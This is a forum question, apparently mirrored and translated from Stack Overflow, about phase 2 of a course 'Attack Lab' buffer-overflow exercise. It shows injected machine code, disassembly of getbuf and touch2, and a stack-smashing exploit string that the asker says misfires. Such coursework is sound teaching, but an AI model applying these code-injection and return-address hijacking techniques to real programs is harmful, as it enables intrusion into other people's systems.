提问人:idk8025 提问时间:11/15/2023 最后编辑:idk8025 更新时间:11/15/2023 访问量:36
缓冲区溢出 - 攻击实验室第 2 阶段
Buffer Overflow - Attack Lab Phase 2
问:
我有一个缓冲区溢出实验室,我必须为一个名为 The Attack Lab 的项目做。我正在进行实验的第 2 阶段,我必须注入代码作为漏洞利用字符串的一部分,以便使程序指向函数 touch2() 的地址。
我使用此代码将我的 cookie 0x442b29d8设置为 rdi
0: 48 c7 c7 d8 29 2b 44 mov $0x442b29d8,%rdi
7: c3 retq
这是我用来溢出的 getbuf 和我尝试执行的函数 touch2
0000000000401730 <getbuf>:
401730: 48 83 ec 28 sub $0x28,%rsp
401734: 48 89 e7 mov %rsp,%rdi
401737: e8 2e 02 00 00 callq 40196a <Gets>
40173c: b8 01 00 00 00 mov $0x1,%eax
401741: 48 83 c4 28 add $0x28,%rsp
401745: c3 retq
0000000000401772 <touch2>:
401772: 48 83 ec 08 sub $0x8,%rsp
401776: 89 fe mov %edi,%esi
401778: c7 05 7a 2d 20 00 02 movl $0x2,0x202d7a(%rip) # 6044fc <vlevel>
40177f: 00 00 00
401782: 3b 3d 7c 2d 20 00 cmp 0x202d7c(%rip),%edi # 604504 <cookie>
401788: 75 1b jne 4017a5 <touch2+0x33>
40178a: bf b8 2f 40 00 mov $0x402fb8,%edi
40178f: b8 00 00 00 00 mov $0x0,%eax
401794: e8 e7 f4 ff ff callq 400c80 <printf@plt>
401799: bf 02 00 00 00 mov $0x2,%edi
40179e: e8 b6 03 00 00 callq 401b59 <validate>
4017a3: eb 19 jmp 4017be <touch2+0x4c>
4017a5: bf e0 2f 40 00 mov $0x402fe0,%edi
4017aa: b8 00 00 00 00 mov $0x0,%eax
4017af: e8 cc f4 ff ff callq 400c80 <printf@plt>
4017b4: bf 02 00 00 00 mov $0x2,%edi
4017b9: e8 4d 04 00 00 callq 401c0b <fail>
4017be: bf 00 00 00 00 mov $0x0,%edi
4017c3: e8 28 f6 ff ff callq 400df0 <exit@plt>
这是我所拥有的:
48 c7 c7 d8 29 2b 44 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
72 17 40 00 00 00 00 00
我将我的 cookie 移动到 %rdi 中并填充缓冲区的其余部分,直到我到达返回地址,我想将其发送到 touch2。这是我尝试攻击时得到的:
键入字符串:Misfire:您调用了 touch2(0xbf88a640) 失败
我不确定为什么cookie不正确。
答: 暂无答案
评论